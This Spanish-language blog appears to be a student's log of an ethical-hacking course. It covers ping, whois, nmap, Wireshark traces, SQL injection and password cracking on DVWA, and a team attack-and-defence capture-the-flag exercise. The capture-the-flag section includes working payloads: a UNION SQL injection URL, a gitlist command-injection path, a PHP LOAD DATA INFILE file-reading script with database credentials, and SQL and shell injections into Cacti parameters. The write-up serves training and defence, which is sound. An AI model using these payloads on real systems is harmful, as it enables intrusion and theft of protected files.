miércoles, 21 de octubre de 2015

Compendio de hacking ético

Comenzamos reseñando una serie de sitios relevantes para el hacking ético, para luego manejar una serie de herramientas básicas para obtener información de servidores externos, como ping, whois y nmap. El manejo de Wireshark se mostró interesante a la hora de analizar las conexiones en general, lo que se aplicó al estudio del telnet, ssh y ssl. Posteriormente sobrevolamos los rudimentos básicos de la SQL injection sobre la plataforma DVWA. Concluimos esta fase con una Reflexión general de lo hecho hasta entonces.
Para continuar se requirió resolver un enigma que consistía en descifrar un archivo gpg cuya clave se encontraba oculta en un servidor DVWA. Usando inyección SQL con la pista de Yoda buscamos la tabla guestbook de la que volcamos todos sus campos:
http://pruebas.euskalert.net/vulnerabilities/sqli/?id=%25%27+and+1%3D0+union+select+null%2C+concat%28comment_id%2C0x0a%2Ccomment%2C0x0a%2Cname%29+from+guestbook+%23&Submit=Submit#

Desencriptamos el gpg con la clave "use the force"


Una vez en el grupo oculto de Facebook consejojedi formamos grupo
siéndonos asignado el servidor 188.166.84.116 en cuanto equipo número 6. Lo primero fue establecer qué archivos eran los gpg secretos que debíamos defender y dónde buscarlos en el resto de equipos. Dado que eran gpg's una sencilla búsqueda locate -b *.gpg nos dio la pista, descubriendo los tres:
- en /srv/ftp, disponible para cualquier usuario anónimo, level 2
- en /usr/share/doc/base-files, level 1
- en /var/lib/mysql, level 3, con grupo:usuario mysql
Nos organizamos rápidamente de lo que reseño lo siguiente:
1. reforzamos el servidor en sí actualizándolo e instalando fail2ban, sysctl.conf -  configuraciones básicas de seguridad, protección básica contra ip spoofing, denegación de respuesta a solicitudes ICMP, instalación de denyhosts, configuración de Iptables para evitar escaneos con nmap y ataques DoS básicos. Cambiamos la clave ssh de acceso.
2. del análisis de las aplicaciones instaladas observamos lo siguiente:
  • a) aseguramos el servidor vsftpd eliminando el acceso anónimo
  • b) parcheamos el cacti 0.8.8a (http://www.cacti.net/download_patches.php?version=0.8.8a) para hacerlo invulnerable a los posibles exploits e inyecciones sql, y cambiamos la contraseña por defecto que traía de lo que supusimos que en todos los servidores sería igual, lo que finalmente se mostró crucial para poder atacar y obtener los archivos level 3.
  • c) actualizamos el gitlist a la versión 0.5 para evitar la vulnerabilidad Remote Code Execution del 0.4.0: http://www.cvedetails.com/cve/CVE-2014-4511/


En la fase de ataque participamos en cierta medida todos porque la rapidez parecía importante a la hora de conseguir los archivos, suponiendo en buena medida que los equipos que no se hubieran protegido correctamente lo harían al detectar intrusiones, por lo que un segundo ataque sería improbable.

  • a) lo primero fue un barrido de los servidores ftp's para detectar los que permanecieran anónimos y que nos sirvió para conseguir un buen número de level 2.

  • b) en segundo lugar procedimos a explotar la vulnerabilidad gitlist con el script https://www.exploit-db.com/exploits/33990/ aunque se puede ejecutar código directamente de la forma ip/gitlist/gitlist/blame/master/""`ls -l  /var/www/gitlist/cache/`. La vulnerabilidad se describe aquí: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/. Esto nos sirvió para obtener tanto los level 1 como los level 2 de los servidores vulnerables. Con la posibilidad de tener un reverse shell probamos incluso a intentar obtener permisos root con algún exploit.

  • c) dado que los level 3 tienen permisos mysql supusimos que solo se podrían obtener explotando el cacti o el mysql. A falta de un método directo de inyección por sql en el propio cacti, probamos directamente a través de php y mysql como se explica aquí:



la forma de asegurarlo es deshabilitando cualquier LOAD DATA LOCAL arrancando mysqld con la opción –local-infile=0

Se precisa que la contraseña de Cacti sea por defecto y se requiere primero poder subir archivos (vulnerabilidad gitlist). La inyección por medio de un archivo php es

$c = mysql_connect('localhost', 'cacti', 'epMeOwAb9') or die(mysql_error());
mysql_select_db ('cacti')  or die(mysql_error());
mysql_query('CREATE TABLE IF NOT EXISTS vaapad (path longtext not null)',$c) or die(mysql_error());
mysql_query("LOAD DATA INFILE '{$level3}' INTO TABLE vaapad",$c) or die(mysql_error());
$r = mysql_query('select * from vaapad', $c) or die(mysql_error());
while($row = mysql_fetch_assoc($r)) {
   echo $row[path];
 }
mysql_query('drop table mooc', $c);
mysql_close($c);

Se conecta a la base de datos, se  crea una tabla y se carga el archivo {$level3} para por último leerlo en el servidor www.

Razón del agujero

The problem is that MySQL is a service running on it’s own. Usually, your PHP process is “jailed” within the limits of the www-data user or the one that suPHP has provided you…
I’m thinking of a standard Debian installation, where MySQL usually runs under user “mysql”, which has access to some interesting stuff, like /var/log/mysql.err,/var/log/mysql.log.*, /var/log/mysql/* and /var/lib/mysql/*, and this without considering all what the privileges of the user “mysql” implies.

Posible inyección SQL


Por último intentamos una inyección Sql Cacti directa sobre la vulnerabilidad https://www.cvedetails.com/cve/CVE-2014-5261/

Al acceder a la página cacti/graph_settings.php se observa en el log la siguiente llamada sql

REPLACE INTO settings_graphs (user_id,name,value) values (1,'unit_size', '8')

La inyección se puede entonces hacer en el valor size (8) engañando al mysql, por ejemplo

REPLACE INTO settings_graphs (user_id,name,value) values (1,'unit_size', '8'); create table mooc (path longtext not null); load_file ('/var/www/index.html') into mooc; select * from mooc into outfile '/var/www/cache/g.txt');# ‘)

En cursiva la parte que hay que inyectar.

De esa manera se podrían ejecutar los comandos sql que queramos. La llamada ha de ser POST, por ejemplo:

$post=”__csrf_magic=sid%3A2abf8de6c37e3f3b60dad64b1ca11a8b699ec66d%2C1445433992&default_rra_id=1&default_view_mode=1&default_timespan=7&default_timeshift=7&first_weekdayid=1&day_shift_start=07%3A00&day_shift_end=18%3A00&default_date_format=4&default_datechar=1&page_refresh=300&default_height=100&default_width=300&num_columns=2&default_tree_id=1&default_tree_view_mode=2&treeview_graphs_per_page=10&default_dual_pane_width=200&preview_graphs_per_page=10&list_graphs_per_page=30&custom_fonts=on&title_size=12&title_font=&legend_size=10&legend_font=&axis_size=8&axis_font=sdfsdf&unit_size=8’); create table mooc (path longtext not null); load_file ('/var/www/index.html') into mooc; select * from mooc into outfile '/var/www/cache/g.txt';#”;

Se inyecta el parámetro unit_size

Al mismo tiempo tenemos en el log de cacti la llamada a la rrdtool

10/22/2015 05:11:04 AM - WEBLOG: Poller[0] CACTI2RRD: /usr/bin/rrdtool graph - --imgformat=PNG --start=1445418663 --end=1445505063 --title='Localhost - Processes' --base=1000 --height=120 --width=500 --alt-autoscale-max --lower-limit='0' COMMENT:"From 2015/10/21 05\:11\:03 To 2015/10/22 05\:11\:03\c" COMMENT:" \n" --vertical-label='processes' --slope-mode --font TITLE:12:'sfs' --font AXIS:8f:'sdfsdf' --font LEGEND:10:'sdfsf' --font UNIT:8:'sdfdsf' DEF:a="/var/www/cacti/rra/localhost_proc_11.rrd":'proc':AVERAGE AREA:a#F51D30FF:"Running Processes" GPRINT:a:LAST:"Current\:%8.0lf" GPRINT:a:AVERAGE:"Average\:%8.0lf" GPRINT:a:MAX:"Maximum\:%8.0lf\n"

De nuevo en cualquier size pueden inyectarse comandos shell

10/22/2015 05:11:04 AM - WEBLOG: Poller[0] CACTI2RRD: /usr/bin/rrdtool graph - --imgformat=PNG --start=1445418663 --end=1445505063 --title='Localhost - Processes' --base=1000 --height=120 --width=500 --alt-autoscale-max --lower-limit='0' COMMENT:"From 2015/10/21 05\:11\:03 To 2015/10/22 05\:11\:03\c" COMMENT:" \n" --vertical-label='processes' --slope-mode --font TITLE:12:'sfs' --font AXIS:8f:'sdfsdf' --font LEGEND:10:'sdfsf' --font UNIT:8; ls /var/www #:'sdfdsf' DEF:a="/var/www/cacti/rra/localhost_proc_11.rrd":'proc':AVERAGE AREA:a#F51D30FF:"Running Processes" GPRINT:a:LAST:"Current\:%8.0lf" GPRINT:a:AVERAGE:"Average\:%8.0lf" GPRINT:a:MAX:"Maximum\:%8.0lf\n"



REFLEXIÓN FINAL

Destaco lo sugerente de plantear el aprendizaje como un reto a realizar en equipo, pues se aprende tanto individualmente al aceptar el desafío como en equipo al comentar y compartir los conocimientos con el objetivo de ganar. Queda la facilidad con que muchos servidores mal administrados pueden invadirse y el daño que con pocos conocimientos se puede hacer (cuanto más con un conocimiento avanzado), por lo que se muestra necesario del todo publicitar tanto las vulnerabilidades como los mecanismos para explotarlas para que los sitios de internet se hagan cargo y pongan remedio.

martes, 29 de septiembre de 2015

2.4. Reflexión


Bien, parece claro que herramientas hay para poner en jaque la seguridad de cualquier sitio en Internet, o al menos de aquellos que no se preocupen por su seguridad. De entrada, por lo tanto, parece interesante que todo el mundo sea consciente de esto para que al menos se les active la alerta y pongan los medios para protegerse.

Como ejemplo de unas cuantas herramientas básicas para preocupar a cualquiera tenemos el ping, whois y sobre todo nmap. Podemos así averiguar si un host está activo, quién lo gestiona (para mediante ingeniería social sacarle información útil) y a qué vulnerabilidades puede estar expuesto en función de los servicios que tenga instalados. Usando por otro lado herramientas como Wireshark (u otras) podemos capturar tráfico de red que nos permita obtener información sensible de conexiones telnet (no tanto de SSH). Apostar por canales encriptados se muestra entonces necesario, y cuanta más encriptación mejor.
Precisamente el uso de algoritmos de encriptación o creación de hashes antiguos o débiles puede hacer que los hackers sean capaces de obtener esa información sensible con técnicas como SQL injection para obtener los hashes de las contraseñas de los usuarios de una base de datos, lo que unido a programas crackeadores como John the Ripper (y otros) puede llevarnos a obtener las contraseñas.

Esto significa que si no cuidamos la seguridad de nuestros sistemas debemos atenernos a las consecuencias (aunque tengamos razón legal) pues es lo mismo que no cuidar la seguridad de tu casa. Podrás denunciar al ladrón pero la culpa es en parte tuya por dejar la puerta abierta.

Se debe permitir entonces el uso y creación de estas herramientas o no? Si hablamos de pura creatividad informática me parece claro que sí, pues todo lo que sea comprender mejor un sistema redunda en su mejoría, al tiempo que alerta de las debilidades y puede ser la base para el desarrollo de otros códigos útiles en otros contextos. Si debe ser algo controlado o no la respuesta es igual de clara: se intentará controlar (por motivos económicos o de seguridad militar) pero la libertad en internet hará que sea algo imposible de acotar, y esto es bueno.

Como curiosidad señalar que posiblemente la serie Mr. Robot gira en torno a estos temas.



SQL injection

Tras instalar correctamente la unidad virtual y loguear extraemos los hashes md5 de los usuarios:


Usando John the Ripper sacamos que la contraseña para admin (y para Bob) es password.




Para 
Gordon abc123
Hack charley
Pablo letmein

John the Ripper John the Ripper

2.1. Capturando tráfico con Wireshark

Primera parte: 

Análisis de la traza telnet-raw.pcap

Hay dos sesiones Telnet

1ª-

SO: OpenBSD/i386 

login fake
password user

comandos 

ls 
ls -a
/sbin/ping www.yahoo.com
exit

2ª-
SO: OpenBSD 2.6-beta

login fake
password user

comandos

ls
ls -a
/sbin/ping www.yahoo.com
exit

Segunda parte: 

El certificado se recibe en el paquete dos, server hello SSL 3.0

Cipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004)

Significa que se usará un algoritmo de llave pública RSA  para verificar las firmas e intercambiar información encriptada RC4, siendo MD5 la función hash para verificar el contenido.  

Tiene una longitud de 1020 bytes

emitido por http://ocsp.verisign.com
para             login.passport.com
válido         01/09/2004 hasta 02/09/2005 

Se puede extraer el certificado



Se asegura la identidad del servidor login.passport.com de Microsoft

Tercera parte: 

Analizamos esta traza con tráfico SSH . Corresponde a una conexión SSH con el servidor forja.mondragon.edu. Podemos comprobar si está online y qué puertos abiertos tiene:


Efectivamente tiene abierto el puerto 22 que corresponde a la conexión SSH.

Vemos que los mensajes encriptados comienzan a partir del paquete 20 tras haberse negociado el cifrado (aes 128 ctr) y las claves.

A diferencia del CBC, el CTR significa que tanto la encriptación como el desencriptado es paralelizable.

A partir del intercambio de claves Diffie-Helman todo va encriptado

No es posible por lo tanto ver contraseñas, pero podemos suponer que el paquete 20 contiene la autenticación.

Actualizo información del host forja.mondragon.edu

Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze27


martes, 22 de septiembre de 2015

Herramientas básicas para obtener información de servidores externos

Vamos a ver cómo obtener información de un site como www.euskalert.net

Primero usaremos algún tipo de utilidad de ping para obtener información previa, como si el host está vivo, cuanto tarda en responder. Usamos la utilidad  hping3 bajo debian


Podemos afinar el ping de esta manera



Explicación:


Se envía al puerto 80 un paquete con el flag TCP SYN activado recibiendo nosotros otro paquete SYN y ACK activados (flags=SA). Sabemos además que el host de destino tiene una ventana de 65535 (cantidad máxima de información en bytes que el receptor está preparado para recibir).


Después podemos ver algunos datos administrativos usando whois:




Por último podemos hacerle un scan general para ver si podemos saber qué sistema operativo está corriendo, aplicaciones y puertos abiertos. Usamos nmap (con gui o sin ella):



Vemos que el puerto 80 está abierto y que probablemente corre aplicaciones como CISCO IOS 10.x en un switch CISCO 3000. Consultando la Base de Datos de Vulnerabilidades Nacional de Estados Unidos obtenemos que es vulnerable a un ataque remoto que busque una denegación de servicios o que pueda ejecutar código arbitrario. Aquí se explica con más detalle la vulnerabilidad consistente en la posibilidad de que se procese un ICMP, PIMv2, PGM o URD que contenga en la cabecera del paquete IP "a specific crafted IP optionque posiblemente cuelguen el router al obligarle a posicionar memoria más allá de sus límites. Específicamente un paquete IPv4 puede contener opciones IP localizadas entre el encabezamiento y información en sí. Un atacante podría construir un paquete malicioso de esta manera:

 - una ip suplantada - la dirección de una de las interfaces del dispositivo como IP de destino  - una opción IP maliciosa- uno de estos protocolos:    + ICMP - Echo (Type 8) - 'ping'    + ICMP - Timestamp (Type 13)    + ICMP - Information Request (Type 15)    + ICMP - Address Mask Request (Type 17)    + PIMv2 - IP protocol 103    + PGM - IP protocol 113    + URD - TCP Port 465




La vulnerabilidad se publicó el 1/24/2007 7:28:00 PM y fue evaluada como de riesgo altísimo.

Actualizo usando la última versión de nmap 6.49beta4



Actualizo

Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1ubuntu4.4

Sitios relevantes para el hacking ético

Como sitios relevantes por la cantidad y calidad de recursos que ofrecen sobre Hacking




Blog que directamente trata la cuestión, como así lo dice expresamente en su declaración de intenciones o filosofía:


[...] promovemos la defensa de cualquier sistema informático, desautorizando cualquier tipo de acción destructiva o de aprovechamiento lucrativo de cualquier tipo de vulnerabilidades o brechas de seguridad existentes en un sistema."
"La seguridad informática es un área en continuo crecimiento y cada vez se demandan más profesionales cualificados y con alto grado de conocimientos en redes, sistemas y seguridad. La idea original del blog era de la compartir nuestras experiencias de nuestro día a día. Era la idea original y seguirá siendo así siempre.





Del conocido Chema Alonso y bastante técnico y orientado a la ciberseguridad y al hacking ético. Imprescindible.




Como nodo social el de Seguridad Jabalí por su igual calidad e información.